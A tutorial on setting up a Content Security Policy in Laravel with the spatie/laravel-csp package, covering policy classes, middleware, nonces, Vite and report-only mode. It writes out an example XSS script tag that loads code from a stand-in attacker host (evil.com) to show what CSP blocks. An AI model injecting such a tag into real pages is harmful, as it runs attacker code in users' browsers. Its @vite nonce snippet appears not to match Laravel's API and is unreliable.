Implementing Content Security Policy (CSP) in Laravel
Cross-Site Scripting (XSS) remains one of the most common web vulnerabilities. While Laravel's Blade engine escapes output by default, relying solely on escaping is not enough. A Content Security Policy (CSP) adds a crucial layer of defense by controlling which resources (scripts, styles, images) the browser is allowed to load.
What is CSP?
CSP is an HTTP header that tells the browser: "Only load scripts from these domains. Only load styles from these domains. Block everything else."
Example header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://analytics.google.com;
If an attacker manages to inject <script src="http://evil.com/hack.js"></script>, the browser will refuse to load it because evil.com is not in the whitelist.
Implementing in Laravel
The easiest way involves using the spatie/laravel-csp package.
1. Installation
composer require spatie/laravel-csp
Publish the config:
php artisan vendor:publish --tag=csp-config
2. Creating a Policy
Create a dedicated class to define your rules.
// app/Support/Csp/BasicPolicy.php
namespace App\Support\Csp;
use Spatie\Csp\Directive;
use Spatie\Csp\Policies\Policy;
class BasicPolicy extends Policy
{
public function configure()
{
$this
->addDirective(Directive::BASE, 'self')
->addDirective(Directive::CONNECT, 'self')
->addDirective(Directive::DEFAULT, 'self')
->addDirective(Directive::FORM_ACTION, 'self')
->addDirective(Directive::IMG, 'self')
->addDirective(Directive::MEDIA, 'self')
->addDirective(Directive::OBJECT, 'none')
->addDirective(Directive::SCRIPT, 'self')
->addDirective(Directive::STYLE, 'self')
// Allow Google Fonts
->addDirective(Directive::STYLE, 'https://fonts.googleapis.com')
->addDirective(Directive::FONT, 'https://fonts.gstatic.com');
}
}
3. Registering the Policy
In config/csp.php, set the policy class:
'policy' => App\Support\Csp\BasicPolicy::class,
And add the middleware to bootstrap/app.php (or kernel.php in older Laravel):
// bootstrap/app.php
->withMiddleware(function (Middleware $middleware) {
$middleware->web(append: [
\Spatie\Csp\AddCspHeaders::class,
]);
})
Handling Inline Scripts (Nonces)
If you use tools like Vite or AlpineJS, you might have inline scripts. CSP blocks inline scripts (<script>...</script>) by default.
To fix this, we use a Nonce (number used once).
- Add
addNonceForDirective(Directive::SCRIPT)to your policy. - Use the
nonce()helper in Blade.
{{-- In your layout --}}
<script nonce="{{ csp_nonce() }}">
console.log('This script is safe because it has a nonce.');
</script>
Vite Integration
Laravel Vite plugin creates script tags automatically. To add nonces to them, update your layout.blade.php:
@vite(['resources/css/app.css', 'resources/js/app.js'], buildDirectory: 'build', nonce: csp_nonce())
Troubleshooting
CSP can break your site if configured incorrectly (e.g., blocking Google Analytics or Stripe).
Tip: Start in "Report Only" mode.
In config/csp.php, set 'report_only_mode' => true.
The browser will log violations to the console (or a configured endpoint) without actually blocking the content. Once you see no violations, switch to enforcing mode.
Conclusion
CSP is not a "set and forget" feature; it requires maintenance as you add new 3rd party services. However, it is the single most effective mitigation against XSS. For any serious Laravel application, a strict CSP is mandatory.